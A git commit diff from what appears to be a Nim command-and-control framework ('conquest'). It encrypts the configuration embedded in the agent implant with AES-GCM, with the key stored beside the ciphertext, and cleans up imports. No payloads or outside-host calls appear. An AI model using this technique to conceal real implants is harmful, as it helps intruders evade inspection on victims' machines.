Implemented encryption for embedded profile.

This commit is contained in:
Jakob Friedl
2025-08-19 20:03:34 +02:00
parent 72fcb0d610
commit b023fca124
17 changed files with 79 additions and 49 deletions

View File

@@ -7,8 +7,23 @@ proc deserializeConfiguration(config: string): AgentCtx =
var unpacker = Unpacker.init(config) var unpacker = Unpacker.init(config)
var agentKeyPair = generateKeyPair() var aesKey = unpacker.getByteArray(Key)
let
iv = unpacker.getByteArray(Iv)
authTag = unpacker.getByteArray(AuthenticationTag)
length = int(unpacker.getUint32())
# Decrypt profile configuration
let (decData, gmac) = decrypt(aesKey, iv, unpacker.getBytes(length))
wipeKey(aesKey)
if gmac != authTag:
raise newException(CatchableError, "Invalid authentication tag.")
# Parse decrypted profile configuration
unpacker = Unpacker.init(Bytes.toString(decData))
var agentKeyPair = generateKeyPair()
var ctx = AgentCtx( var ctx = AgentCtx(
agentId: generateUUID(), agentId: generateUUID(),
listenerId: Uuid.toString(unpacker.getUint32()), listenerId: Uuid.toString(unpacker.getUint32()),

View File

@@ -1,3 +1,3 @@
# Agent configuration # Agent configuration
-d:CONFIGURATION=PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER -d:CONFIGURATION=PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -10,11 +10,17 @@ import ./[utils, types]
proc generateIV*(): Iv = proc generateIV*(): Iv =
# Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode # Generate a random 98-bit (12-byte) initialization vector for AES-256 GCM mode
var iv: Iv var iv: Iv
if randomBytes(iv) != 12: if randomBytes(iv) != sizeof(Iv):
raise newException(CatchableError, "Failed to generate IV.") raise newException(CatchableError, "Failed to generate IV.")
return iv return iv
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = proc generateKey*(): Key =
var key: Key
if randomBytes(key) != sizeof(Key):
raise newException(CatchableError, "Failed to generate IV.")
return key
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
# Encrypt data using AES-256 GCM # Encrypt data using AES-256 GCM
var encData = newSeq[byte](data.len) var encData = newSeq[byte](data.len)
@@ -29,7 +35,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[b
return (encData, tag) return (encData, tag)
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32 = 0): (seq[byte], AuthenticationTag) =
# Decrypt data using AES-256 GCM # Decrypt data using AES-256 GCM
var data = newSeq[byte](encData.len) var data = newSeq[byte](encData.len)
@@ -91,10 +97,7 @@ proc wipeKey*(data: var openArray[byte]) =
# Key pair generation # Key pair generation
proc generateKeyPair*(): KeyPair = proc generateKeyPair*(): KeyPair =
var privateKey: Key let privateKey = generateKey()
if randomBytes(privateKey) != sizeof(Key):
raise newException(ValueError, "Failed to generate key.")
return KeyPair( return KeyPair(
privateKey: privateKey, privateKey: privateKey,
publicKey: getPublicKey(privateKey) publicKey: getPublicKey(privateKey)

View File

@@ -1,5 +1,6 @@
import parsetoml, strutils, sequtils, random import parsetoml, strutils, sequtils, random
import ./[types, utils]
import ./types
proc findKey(profile: Profile, path: string): TomlValueRef = proc findKey(profile: Profile, path: string): TomlValueRef =
let keys = path.split(".") let keys = path.split(".")

View File

@@ -1,5 +1,5 @@
import tables import tables
import ./[types, utils] import ./types
var sequenceTable {.global.}: Table[uint32, uint32] var sequenceTable {.global.}: Table[uint32, uint32]

View File

@@ -1,5 +1,5 @@
import streams, strutils, tables import streams, tables
import ./[types, utils, crypto, sequence] import ./[types, utils, crypto]
#[ #[
Packer Packer
@@ -129,8 +129,6 @@ proc getArgument*(unpacker: Unpacker): TaskArg =
result.data = unpacker.getBytes(8) result.data = unpacker.getBytes(8)
of BOOL: of BOOL:
result.data = unpacker.getBytes(1) result.data = unpacker.getBytes(1)
else:
discard
proc getDataWithLengthPrefix*(unpacker: Unpacker): string = proc getDataWithLengthPrefix*(unpacker: Unpacker): string =
# Read length of variable-length field # Read length of variable-length field

View File

@@ -1,7 +1,6 @@
import prompt import prompt
import tables import tables
import times import times
import streams
import parsetoml import parsetoml
# Custom Binary Task structure # Custom Binary Task structure

View File

@@ -1,5 +1,4 @@
import strutils, sequtils, strformat import strutils, nimcrypto
import nimcrypto
import ./types import ./types

View File

@@ -1,4 +1,4 @@
import terminal, strformat, strutils, sequtils, tables, json, times, base64, system import terminal, strformat, strutils, sequtils, tables, times, system
import ../[utils, globals] import ../[utils, globals]
import ../db/database import ../db/database
@@ -44,7 +44,7 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
listenerId = Uuid.toString(request.listenerId) listenerId = Uuid.toString(request.listenerId)
timestamp = request.timestamp timestamp = request.timestamp
var result: seq[seq[byte]] var tasks: seq[seq[byte]]
# Check if listener exists # Check if listener exists
if not cq.dbListenerExists(listenerId): if not cq.dbListenerExists(listenerId):
@@ -62,9 +62,9 @@ proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
# Return tasks # Return tasks
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
let taskData = cq.serializeTask(task) let taskData = cq.serializeTask(task)
result.add(taskData) tasks.add(taskData)
return result return tasks
proc handleResult*(resultData: seq[byte]) = proc handleResult*(resultData: seq[byte]) =

View File

@@ -1,6 +1,6 @@
import prologue, json, terminal, strformat, parsetoml, tables import prologue, terminal, strformat, parsetoml, tables
import sequtils, strutils, times, base64 import strutils, times, base64
import sugar
import ./handlers import ./handlers
import ../[utils, globals] import ../[utils, globals]
import ../../common/[types, utils, serialize, profile] import ../../common/[types, utils, serialize, profile]

View File

@@ -1,9 +1,9 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml import terminal, strformat, strutils, tables, times, system, parsetoml
import ./task import ./task
import ../utils import ../utils
import ../db/database import ../db/database
import ../../common/[types, utils] import ../../common/types
# Utility functions # Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) = proc addMultiple*(cq: Conquest, agents: seq[Agent]) =

View File

@@ -1,7 +1,7 @@
import terminal, strformat, strutils, tables, system, osproc, streams, parsetoml import terminal, strformat, strutils, tables, system, osproc, streams, parsetoml
import ../utils import ../utils
import ../../common/[types, utils, profile, serialize] import ../../common/[types, utils, profile, serialize, crypto]
import ../db/database import ../db/database
const PLACEHOLDER = "PLACEHOLDER" const PLACEHOLDER = "PLACEHOLDER"
@@ -20,9 +20,25 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int): seq[b
packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString())) packer.addDataWithLengthPrefix(string.toBytes(cq.profile.toTomlString()))
let data = packer.pack() let data = packer.pack()
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.") packer.reset()
return data # Encrypt profile configuration data with a newly generated encryption key
var aesKey = generateKey()
let iv = generateIV()
let (encData, gmac) = encrypt(aesKey, iv, data)
# Add plaintext encryption material in front of the
packer.addData(aesKey)
packer.addData(iv)
packer.addData(gmac)
packer.add(uint32(encData.len()))
let encMaterial = packer.pack()
wipeKey(aesKey)
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Profile configuration serialized.")
return encMaterial & encData
proc compile(cq: Conquest, placeholderLength: int): string = proc compile(cq: Conquest, placeholderLength: int): string =

View File

@@ -1,9 +1,9 @@
import times, strformat, terminal, tables, json, sequtils, strutils import times, strformat, terminal, tables, sequtils, strutils
import ../utils import ../utils
import ../protocol/parser import ../protocol/parser
import ../../modules/manager import ../../modules/manager
import ../../common/[types, utils] import ../../common/types
proc displayHelp(cq: Conquest) = proc displayHelp(cq: Conquest) =
cq.writeLine("Available commands:") cq.writeLine("Available commands:")

View File

@@ -1,4 +1,4 @@
import ../common/[types, utils] import ../common/types
# Global variable for handling listeners, agents and console output # Global variable for handling listeners, agents and console output
var cq*: Conquest var cq*: Conquest

View File

@@ -1,4 +1,4 @@
import strutils, strformat, streams, times, tables import strutils, streams, times, tables
import ../utils import ../utils
import ../../common/[types, utils, serialize, sequence, crypto] import ../../common/[types, utils, serialize, sequence, crypto]

View File

@@ -1,7 +1,6 @@
import strutils, strformat, times import strutils, times
import ../utils import ../../common/[types, sequence, crypto, utils]
import ../../common/[types, utils, sequence, crypto]
proc parseInput*(input: string): seq[string] = proc parseInput*(input: string): seq[string] =
var i = 0 var i = 0
@@ -36,15 +35,15 @@ proc parseInput*(input: string): seq[string] =
proc parseArgument*(argument: Argument, value: string): TaskArg = proc parseArgument*(argument: Argument, value: string): TaskArg =
var result: TaskArg var arg: TaskArg
result.argType = cast[uint8](argument.argumentType) arg.argType = cast[uint8](argument.argumentType)
case argument.argumentType: case argument.argumentType:
of INT: of INT:
# Length: 4 bytes # Length: 4 bytes
let intValue = cast[uint32](parseUInt(value)) let intValue = cast[uint32](parseUInt(value))
result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)] arg.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
of LONG: of LONG:
# Length: 8 bytes # Length: 8 bytes
@@ -52,26 +51,26 @@ proc parseArgument*(argument: Argument, value: string): TaskArg =
let intValue = cast[uint64](parseUInt(value)) let intValue = cast[uint64](parseUInt(value))
for i in 0..7: for i in 0..7:
data[i] = byte((intValue shr (i * 8)) and 0xFF) data[i] = byte((intValue shr (i * 8)) and 0xFF)
result.data = data arg.data = data
of BOOL: of BOOL:
# Length: 1 byte # Length: 1 byte
if value == "true": if value == "true":
result.data = @[1'u8] arg.data = @[1'u8]
elif value == "false": elif value == "false":
result.data = @[0'u8] arg.data = @[0'u8]
else: else:
raise newException(ValueError, "Invalid value for boolean argument.") raise newException(ValueError, "Invalid value for boolean argument.")
of STRING: of STRING:
result.data = cast[seq[byte]](value) arg.data = cast[seq[byte]](value)
of BINARY: of BINARY:
# Read file as binary stream # Read file as binary stream
discard discard
return result return arg
proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =

View File

@@ -1,7 +1,7 @@
import strutils, terminal, tables, sequtils, times, strformat, random, prompt import strutils, terminal, tables, sequtils, times, strformat, prompt
import std/wordwrap import std/wordwrap
import ../common/[types, utils] import ../common/types
# Utility functions # Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] = proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =